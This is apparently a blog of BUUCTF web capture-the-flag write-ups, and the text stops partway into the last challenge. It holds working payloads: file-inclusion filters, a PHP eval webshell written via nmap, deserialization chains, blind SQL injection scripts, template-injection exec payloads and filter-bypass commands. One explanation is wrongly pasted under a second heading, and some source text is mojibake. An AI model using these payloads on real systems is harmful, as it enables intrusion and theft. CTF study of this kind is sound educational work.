当前位置: 首页 > backend >正文

buuctf——web刷题第二页

[网鼎杯 2018]Fakebook和[SWPU2019]Web1没有,共30题

目录

[BSidesCF 2020]Had a bad day

[网鼎杯 2020 朱雀组]phpweb

[BJDCTF2020]The mystery of ip

[BUUCTF 2018]Online Tool

[GXYCTF2019]禁止套娃

[GWCTF 2019]我有一个数据库

[CISCN2019 华北赛区 Day2 Web1]Hack World

[BJDCTF2020]ZJCTF,不过如此

[BJDCTF2020]Mark loves cat

[WUSTCTF2020]朴实无华

[BJDCTF2020]Cookie is so stable

[MRCTF2020]Ezpop

[MRCTF2020]PYWebsite

[安洵杯 2019]easy_web

[极客大挑战 2019]FinalSQL

[WesternCTF2018]shrine

[安洵杯 2019]easy_serialize_php

[强网杯 2019]高明的黑客

[网鼎杯 2020 朱雀组]Nmap

[CISCN2019 华东南赛区]Web11

[极客大挑战 2019]RCE ME

[NPUCTF2020]ReadlezPHP

[BSidesCF 2019]Futurella

[BSidesCF 2019]Kookie

[De1CTF 2019]SSRF Me

[ASIS 2019]Unicorn shop

[NCTF2019]Fake XML cookbook

[BJDCTF2020]EasySearch

[CISCN 2019 初赛]Love Math

[GYCTF2020]FlaskApp


第二页

[BSidesCF 2020]Had a bad day

登录网站后发现url又传参

system('ls')试了不行,试试文件包含

他自动加了php,去掉得到源码

<html><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="description" content="Images that spark joy"><meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0"><title>Had a bad day?</title><link rel="stylesheet" href="css/material.min.css"><link rel="stylesheet" href="css/style.css"></head><body><div class="page-layout mdl-layout mdl-layout--fixed-header mdl-js-layout mdl-color--grey-100"><header class="page-header mdl-layout__header mdl-layout__header--scroll mdl-color--grey-100 mdl-color-text--grey-800"><div class="mdl-layout__header-row"><span class="mdl-layout-title">Had a bad day?</span><div class="mdl-layout-spacer"></div><div></header><div class="page-ribbon"></div><main class="page-main mdl-layout__content"><div class="page-container mdl-grid"><div class="mdl-cell mdl-cell--2-col mdl-cell--hide-tablet mdl-cell--hide-phone"></div><div class="page-content mdl-color--white mdl-shadow--4dp content mdl-color-text--grey-800 mdl-cell mdl-cell--8-col"><div class="page-crumbs mdl-color-text--grey-500"></div><h3>Cheer up!</h3><p>Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up!</p><div class="page-include"><?php$file = $_GET['category'];if(isset($file)){if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){include ($file . '.php');}else{echo "Sorry, we currently only support woofers and meowers.";}}?></div><form action="index.php" method="get" id="choice"><center><button onclick="document.getElementById('choice').submit();" name="category" value="woofers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Woofers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button><button onclick="document.getElementById('choice').submit();" name="category" value="meowers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Meowers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button></center></form></div></div></main></div><script src="js/material.min.js"></script></body>
</html>

直接使用相对路径

?category=php://filter/convert.base64-encode/resource=index/../flag

这里是用相对路径,不需要一个个试了

index../../../flag好吧,绝对路径是这个

[网鼎杯 2020 朱雀组]phpweb
用find查找所有文件名包含flag的文件

发现有post传参

猜测func为函数,p为参数

测试system,passthru发现被禁止

试试file_get_contents读取:

func=file_get_contents&p=index.php

出现了这个东西:

<?php$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");function gettime($func, $p) {$result = call_user_func($func, $p);$a= gettype($result);if ($a == "string") {return $result;} else {return "";}}class Test {var $p = "Y-m-d h:i:s a";var $func = "date";function __destruct() {if ($this->func != "") {echo gettime($this->func, $this->p);}}}$func = $_REQUEST["func"];$p = $_REQUEST["p"];if ($func != null) {$func = strtolower($func);if (!in_array($func,$disable_fun)) {echo gettime($func, $p);}else {die("Hacker...");}}?>

我们需要用到gettime方法,但是禁了很多函数,看到Test类,就想到反序列化

<?php
function gettime($func, $p) {$result = call_user_func($func, $p);$a= gettype($result);if ($a == "string") {return $result;} else {return "";}
}
class Test {var $p = "ls /";var $func = "system";function __destruct() {if ($this->func != "") {echo gettime($this->func, $this->p);}}
}
$a=new Test();
$b=serialize($a);
echo "b=";
echo  $b;?>

b=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}

成功,但是没有看到flag

构造system("find / -name *flag*") 用find查找所有文件名包含flag的文件

感觉是tmp那个

ok

[BJDCTF2020]The mystery of ip

围绕ip的题目,首先

X-Forwarded-For:127.0.0.1

Referer:127.0.0.1

重发发现ip改变,然后就尝试能不能命令执行

用{{system('ls')}}

ok

client-ip:{system('ls')}这样也可以

[BUUCTF 2018]Online Tool
escapeshellarg和escapeshellcmd绕过
nmap

escapeshellarg:

escapeshellcmd:

nmap(Network Mapper)是一个开源的网络扫描工具,用于网络发现和安全审计

然后我们看题,这题用了escapeshellarg和escapeshellcmd来过滤

网上的例子:

1)传入的参数是:172.17.0.2' -v -d a=1

2)经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。

3)经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义

4)最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。

nmap命令中 有一个参数-oG可以实现将命令和结果写到文件

payload:?host=' <?php @eval($_POST["shell"]);?> -oG shell.php '

尝试蚁剑连接:

成功

/e6305cd14dbe6e1fc4041d81cb3fc9ee/shell.php连接路劲就是你的沙盒加上🐎的文件名

这题在第一页有个类似的

payload:?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

得到base64去解码

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;function complex($re, $str) {return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}foreach($_GET as $re => $str) {echo complex($re, $str). "\n";
}function getFlag(){@eval($_GET['cmd']);
}

这里preg_replace使用了/e模式,导致可以代码执行。而且该函数的第一个和第三个参数我们是可以控制的。preg_replace 函数在匹配到符号正则的字符串时,会将替换字符串(第二个参数)当做代码来执行,但是这里的第二个参数却固定为 ‘strtolower(“\1”)’ 字符串。上面的命令执行,相当于 eval(‘strtolower(“\1”);’) 结果,当中的 \1 实际上就是 \1 ,而 \1 在正则表达式中有自己的含义

对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。所以这里的 \1 实际上指定的是第一个子匹配项

构造payload: \S*=${phpinfo()}

因为为双引号,'strtolower("\\1")',

双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理

原先的语句:

preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")', $value);

语句就变成了:

preg_replace('/(\S*)/ei', 'strtolower("\\1")', {${phpinfo()}});

\S匹配任何非空白字符

所以我们的payload就为:

\S*={$getFlag()}&cmd=system('ls');

[GXYCTF2019]禁止套娃
无参rce/session_id传参

进入网页看了一圈没看出来啥,目录扫描扫描出.git

然后可以得到index.php的源码:

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {// echo $_GET['exp'];@eval($_GET['exp']);}else{die("还差一点哦!");}}else{die("再好好想想!");}}else{die("还想读flag,臭弟弟!");}
}
// highlight_file(__FILE__);
?>

对于第二个正则:如果输入中有其他字符(如数字、变量、运算符等),替换后不会只剩 ;,条件就不成立

所以这是一个典型的无参rce

end() - 读取数组最后一个元素

localeconv() – 函数返回一个包含本地数字及货币格式信息的数组 第一个是.

pos() – 返回数组中的当前单元, 默认取第一个值

next – 将内部指针指向数组下一个元素并输出

scandir() – 扫描目录

array_reverse() – 翻转数组

array_flip() - 键名与数组值对调

readfile()

array_rand() - 随机读取键名

var_dump() - 输出数组,可以用print_r替代

file_get_contents() - 读取文件内容,show_source,highlight_file echo 可代替

get_defined_vars() - 返回由所有已定义变量所组成的数组

current() - 读取数组的第一个元素

phpinfo() -显示php详细内容

getcwd() 函数返回当前工作目录。它可以代替pos(localeconv())

current() 函数返回数组中的当前元素(单元),默认取第一个值,和pos()一样

next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以

show_source():查看源码

pos() 函数返回数组中的当前元素的值。该函数是current()函数的别名。

首先先查看当前目录:

(pos(localecnov()))就是传入.

print_r(scandir(pos(localeconv())))

flag.php在第五位:next – 将内部指针指向数组下一个元素并输出

用函数array_reverse将数组反转,flag就在第二位了,再利用next指向第二位数组,在用文件显示包涵即可输出flag.php文件,构造payload

?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));

看了其他师傅还有一种解法:用session_id传参

用cookie传参来设置session_id的值,session_id的值等于cookie中PHPSESSID的值,所以构建cookie头

Cookie: PHPSESSID=flag.php

在PHP中,session通常不会手动开启,需要利用php函数session_start来开启,所以可以构造payload

?exp=show_source(session_id(session_start()));

[GWCTF 2019]我有一个数据库

访问robots.txt看看

没发现什么东西,看看文件扫描(dirsearch)

发现了phpadmin,访问phpmyadmin

在phpMyadmin 4.8.x版本中,程序没有严格控制用户的输入,攻击者可以利用双重编码绕过程序的白名单限制,造成 本地文件包含漏洞

phpmyadmin文件包含漏洞复现(CVE-2018-12613)

这个漏洞就是第一页WarmUp那题

payload:

/phpmyadmin/?target=db_sql.php%3f/../../../../../../../../flag

[CISCN2019 华北赛区 Day2 Web1]Hack World

这题禁止了很多东西,fuzz后发现^可以

如:

根据不同的显示信息就可以做到布尔盲注

但是这里是把空格给禁止了

然后因为我们已经知道了表和列,可以直接查询flag

脚本:

import requests
import  timestr="{-}_1234567890qwertyuiopsadfghjklzxcvbnm"
url="http://4054e121-572b-4d4e-bf05-9cec21359a4b.node5.buuoj.cn:81/index.php"flag=''for i in range(1,100):for j in str:q=ord(j)#payload=f"1^(ascii(substr((select(database())),{i},1))={q})^1"payload=f'1^(ascii(substr((select(flag)from(flag)),{i},1))={q})^1'data={"id":payload}r=requests.post(url,data=data)if "Hello"  in r.text:flag+=jtime.sleep(1)print(flag)break

这里如果不sleep的话,一次性查询太多我的电脑就会经常错查

[BJDCTF2020]ZJCTF,不过如此
preg_replace/e模式导致代码执行

这题在第一页有个类似的

payload:?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

得到base64去解码

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;function complex($re, $str) {return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}foreach($_GET as $re => $str) {echo complex($re, $str). "\n";
}function getFlag(){@eval($_GET['cmd']);
}

这里preg_replace使用了/e模式,导致可以代码执行。而且该函数的第一个和第三个参数我们是可以控制的。preg_replace 函数在匹配到符号正则的字符串时,会将替换字符串(第二个参数)当做代码来执行,但是这里的第二个参数却固定为 ‘strtolower(“\1”)’ 字符串。上面的命令执行,相当于 eval(‘strtolower(“\1”);’) 结果,当中的 \1 实际上就是 \1 ,而 \1 在正则表达式中有自己的含义

对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。所以这里的 \1 实际上指定的是第一个子匹配项

构造payload: \S*=${phpinfo()}

因为为双引号,'strtolower("\\1")',

双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理

原先的语句:

preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")', $value);

语句就变成了:

preg_replace('/(\S*)/ei', 'strtolower("\\1")', {${phpinfo()}});

\S匹配任何非空白字符

所以我们的payload就为:

\S*={$getFlag()}&cmd=system('ls');

[BJDCTF2020]Mark loves cat

目录扫描发现.git泄露

flag.php

index.php

<?php
include 'flag.php';$yds = "dog";
$is = "cat";
$handsome = 'yds';foreach($_POST as $x => $y){$$x = $y;
}foreach($_GET as $x => $y){$$x = $$y;
}foreach($_GET as $x => $y){if($_GET['flag'] === $x && $x !== 'flag'){exit($handsome);}
}if(!isset($_GET['flag']) && !isset($_POST['flag'])){exit($yds);
}if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){exit($is);
}echo "the flag is: ".$flag;

举个例子,加入我们传get,flag=a

因为

foreach($_GET as $x => $y){

$$x = $$y;

}

所以$x=flag,$y=a,$flag=$a ,$a没东西,所以为空

但根据这个思路,如果我们让a=flag,即$a=$flag,$a就有flag的内容

我们看到这个:

if(!isset($_GET['flag']) && !isset($_POST['flag'])){

exit($yds);

}

触发条件时get,post都要传参,因为有exit()函数,他虽然会让进程停止,但是也会输出里面的内容(网页最下面dog的由来)

我们可以get传参yds=flag,这样$yds=$flag,就可以输出flag

还有一种解法:

用到的是

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){

exit($is);

}

[WUSTCTF2020]朴实无华

看源码没看到啥东西,看看robots.txt

访问:

问号

再访问

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);//level 1
if (isset($_GET['num'])){$num = $_GET['num'];if(intval($num) < 2020 && intval($num + 1) > 2021){echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";}else{die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");}
}else{die("鍘婚潪娲插惂");
}
//level 2
if (isset($_GET['md5'])){$md5=$_GET['md5'];if ($md5==md5($md5))echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>";elsedie("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�");
}else{die("鍘婚潪娲插惂");
}//get flag
if (isset($_GET['get_flag'])){$get_flag = $_GET['get_flag'];if(!strstr($get_flag," ")){$get_flag = str_ireplace("cat", "wctf2020", $get_flag);echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";system($get_flag);}else{die("蹇埌闈炴床浜�");}
}else{die("鍘婚潪娲插惂");
}
?>

在不加1的情况下"1e10"会被认为是字符串,然后intval(“1e10”)后就是1

然后字符串"1e10"+1"1e10"会自动转换成整数,即1乘10的10次方再加上1

但是要注意,这个题只能在php5的环境下实现,因为在php7里,intval(“1e10”)会被自动转换成10的10次方

然后用这个:0e215962017(自身和加密后都为0e开头)

空格用${IFS}绕过:

${IFS}$1也可以

[BJDCTF2020]Cookie is so stable
Twing模板注入

感觉这个网站的模板前面有见过

尝试ssti

确实是

然后看看是什么模板

输入{{7*‘7’}},返回49表示是 Twig 模块

输入{{7*‘7’}},返回7777777表示是 Jinja2 模块

贴个图

然后发现是Twing模板

有一个固定的payload:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("tac /flag")}}

至于这个漏洞咋来的

看看大佬的博客

[MRCTF2020]Ezpop

源码:

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {protected  $var;public function append($value){include($value);}public function __invoke(){$this->append($this->var);}
}class Show{public $source;public $str;public function __construct($file='index.php'){$this->source = $file;echo 'Welcome to '.$this->source."<br>";}public function __toString(){return $this->str->source;}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {echo "hacker";$this->source = "index.php";}}
}class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();}
}if(isset($_GET['pop'])){@unserialize($_GET['pop']);
}
else{$a=new Show;highlight_file(__FILE__);
}

先放脚本:

<?php
//flag is in flag.php
class Modifier {protected  $var='php://filter/convert.base64-encode/resource=flag.php';public function append($value){include($value);}public function __invoke(){//调用这个$this->append($this->var);}
}class Show{public $source;public $str;public function __construct($file='index.php'){$this->source = $file;//echo 'Welcome to '.$this->source."<br>";//可以调用tostring}public function __toString(){return $this->str->source;//可以调用get}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {echo "hacker";$this->source = "index.php";}}
}class Test{public $p;/*public function __construct(){$this->p = array();}*/public function __get($key){//get要调用$function = $this->p;return $function();//用这个调用_invoke}
}$pop=new Show();
$pop->source=new Show();
$pop->source->str=new Test();
$pop->source->str->p=new Modifier();echo urlencode(serialize($pop));?>

然后来说一下思路:Modifier()类中的_invoke方法里面可以进行文件包含,然后我们使用filter流过滤器输出,

_invoke是在类被当作函数的时候调用,

也就是Test中的__get可以调用_invoke,_get方法是在访问私有或不存在的成员属性的时候自动触发,

我们就看到Show中的toString方法,令str=new Test()即可,

然后就是调用toString,根据:echo 'Welcome to '.$this->source."<br>";,我们让source=new Show即可

链子就构造出来了

然后为什么这里要url编码呢,这里搬用一下大佬说的:

最后的序列化结果进行url编码的原因我认为是这样的:如果不进行编码,最后输出的结果是片段的,不是全部的,会有类似截断导致结果异常,所以需要进行url编码

而且这里的var是protected,如果不url编码的话是不可见字符

payload:pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A9%3A%22index.php%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

解码即可:

[MRCTF2020]PYWebsite

抓包看源码发现信息:

function enc(code){hash = hex_md5(code);return hash;}function validate(){var code = document.getElementById("vcode").value;if (code != ""){if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){alert("您通过了验证!");window.location = "./flag.php"}else{alert("你的授权码不正确!");}}else{alert("请输入授权码");}}

ARandomString

认证后出现这个:

ip保存

尝试:

X-Forwarded-For:127.0.0.1

Referer:127.0.0.1

ok

[安洵杯 2019]easy_web

抓包看看

发现了这一坨base64编码后的东西,感觉是图片,解码看看

就是这东西

他是有带参数的

TXpVek5UTTFNbVUzTURabE5qYz0我们尝试解码:

两次base64解码,看起来像16进制,转一下试试

照着这个思路来逆推,我们试试看看index.php

这个:TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

在源码里面复制,base64解码:

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {echo '<img src ="./ctf3.jpeg">';die("xixi~ no flag");
} else {$txt = base64_encode(file_get_contents($file));echo "<img src='data:image/gif;base64," . $txt . "'></img>";echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {echo("forbid ~");echo "<br>";
} else {if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {echo `$cmd`;} else {echo ("md5 is funny ~");}
}?>

就是一个md5强比较,加上rce

试试dir查看目录:

然后就是绕过了

l\s%20/

sort%20/flag

[极客大挑战 2019]FinalSQL
异或注入

有个12345

发现这里有个id,感觉有东西

果然,然后就是写注入脚本了

这里我们用异或:即1^1不行,0^1可以

可以的时候,为Click others

脚本:(这个脚本是搬运别人的)

import requests
import string
from time import sleep
url = "http://808ec0a6-4212-4980-8951-c6cee8465758.node5.buuoj.cn:81/search.php?id=0^({})"# 盲注的字符集
chars = string.printableinject = "ord(substr((SELECT(GROUP_CONCAT(password))FROM(geek.F1naI1y)),{},1))={}"
for i in range(1, 1000):continue_ = Falsefor c in chars:u = url.format(inject.format(i,ord(c)))res = requests.get(u)while res.status_code == 429:sleep(1)res = requests.get(u)if 'Click others' in res.text:print(c,end='',flush=True)continue_ = Truebreakif not continue_:break

如果正常这样跑的话,前面有很多其他东西,flag在最后面,我们可以加一个reverse倒叙:

"ord(substr(reverse((SELECT(GROUP_CONCAT(password))FROM(geek.F1naI1y))),{},1))={}"

}e287da4034f1-4f58-db14-6a57-b06876f7{galf

然后把他倒过来

[WesternCTF2018]shrine

源码:

import flask
import osapp = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')@app.route('/')
def index():return open(__file__).read()@app.route('/shrine/<shrine>')
def shrine(shrine):def safe_jinja(s):s = s.replace('(', '').replace(')', '')blacklist = ['config', 'self']return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + sreturn flask.render_template_string(safe_jinja(shrine))

分析一下:

将环境变量中的flag值赋值到config['FLAG']里面

然后对shrine做了一些过滤:替换(,),禁止了config和self

{{url_for.__globals__}}输出所有全局变量

  • current_app:指向当前 Flask 应用实例(等价于 app

payload:{{url_for.__globals__['current_app'].config['FLAG']}}

{{url_for.__globals__['current_app'].config['FLAG']}} 中,config 是作为字典的键进行访问的,而不是作为一个独立的变量。因此,即使 config 被设置为 None,这也不会影响到通过字典键访问的方式。

学习一下:

url_for.__globals__

由于 url_for 是 Flask 应用的一部分,它的 __globals__ 字典包含了整个 Flask 应用的全局变量。这意味着你可以通过 url_for.__globals__ 访问到 Flask 应用实例 (current_app)、配置 (config) 等等

lipsum.__globals__

url_for 类似,lipsum 函数也有一个 __globals__ 属性,指向其定义所在的模块的全局命名空间。然而,lipsum 函数本身并不直接与 Flask 应用的核心组件(如 current_appconfig)相关联,因此它的 __globals__ 字典中的内容可能不包含这些特定于 Flask 的对象

[安洵杯 2019]easy_serialize_php
字符串逃逸(减)

源码:

<?php$function = @$_GET['f'];function filter($img){$filter_arr = array('php','flag','php5','php4','fl1g');$filter = '/'.implode('|',$filter_arr).'/i';return preg_replace($filter,'',$img);
}if($_SESSION){unset($_SESSION);
}$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;extract($_POST);if(!$function){echo '<a href="index.php?f=highlight_file">source_code</a>';
}if(!$_GET['img_path']){$_SESSION['img'] = base64_encode('guest_img.png');
}else{$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}$serialize_info = filter(serialize($_SESSION));if($function == 'highlight_file'){highlight_file('index.php');
}else if($function == 'phpinfo'){eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){$userinfo = unserialize($serialize_info);echo file_get_contents(base64_decode($userinfo['img']));
} 
?>

根据提示,我们看看phpinfo:

?f=phpinfo

base64编码后为:ZDBnM19mMWFnLnBocA==

这边看到了这题替换啊,想到字符串逃逸

逃逸有两种类型:

我们之前做的题是通过将原来字符替换成更长的字符来吧不用的部分挤出去

这道题是通过将字符串清空来把原本的键值给取消,相当于内缩了,所以我们还要自己添加一个键值

我知道说的比较抽象,所以我们来看题:

我们希望img对应的是ZDBnM19mMWFnLnBocA==

但是,

有这个东西,也就是说不管怎么样,我们img的值一定会被改变

所以我们要想个方法来绕开(字符串逃逸)

好继续往前看:

unset会把session中的值全部清空,然后他又赋了user和function的值,但是他又有个extract,会把前面

赋过的session值又给覆盖了

如:

<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
var_dump($_SESSION);
echo "<br/>";
extract($_POST);
var_dump($_SESSION);
?>

如果没有POST提交,

有POST提交:

综上,我们只需要想怎么构造$_SESSION就好了

先来看这个:

<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'a';
$_SESSION['img']='ZDBnM19mMWFnLnBocA==';$a=serialize($_SESSION);
echo $a;?>

a:3:{s:4:"user";s:5:"guest";s:8:"function";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

就是红色的这个东西后面会被替换,用不了,我们可以这么搞:

<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img']='ZDBnM19mMWFnLnBocA==';$a=serialize($_SESSION);
echo $a;?>

a:3:{s:4:"user";s:5:"guest";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

这时黄色部分为function的值,但我们希望通过一系列方法让这个值独立出来

我们给user赋值flag,

{s:4:"user";s:5:"guest";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

首先,绿色,是我们要废弃的部分,红色,是我们需要的东西,而为了红色功能实现,我们需要把紫色的部分搞掉(把紫色的部分当作user的值)

即user='";s:8:"function";s:42:"a'

(这里的guest是原user的值)

紫色部分一共有24个字符,我们用6个flag

<?php
$_SESSION["user"] = 'flagflagflagflagflagflag';
$_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img']='ZDBnM19mMWFnLnBocA==';$a=serialize($_SESSION);
echo $a;?>

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

在filter后就变成了

a:3:

{s:4:"user";s:24:"";s:8:"function";s:41:"a"s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

这是红色部分即为user的值,img的值ZDBnM19mMWFnLnBocA==为我们想要的部分,绿色丢了

这是我们只有两个变量了(user,img)

但是a:3,所以我们要自己加一个

s:1:"a";s:1:"a";

ok,payload:

$_SESSION[user]=flagflagflagflagflagflag&$_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a";}

至于为什么这里是a呢,只是为了凑数而已刚好凑24个要替换的

这题确实挺绕的

你把a去掉然后换23个也可以:

[强网杯 2019]高明的黑客
筛选文件中可用的参数

访问/www.tar.gz,下载gz压缩包:

src里面有非常多的php文件,里面有POST,GET传参

思路就是找到一个文件的参数,让他可以成功命令执行:

这里就贴一位大佬的脚本:
 

import os
import requests
import re
import threading
import time
print('开始时间:  '+  time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100)                                         #这儿设置最大的线程数
filePath = r"D:/soft/phpstudy/PHPTutorial/WWW/src/"									#要替换成自己的路径
os.chdir(filePath)                                                  #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5                               #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False                                           # 设置连接活跃状态为False
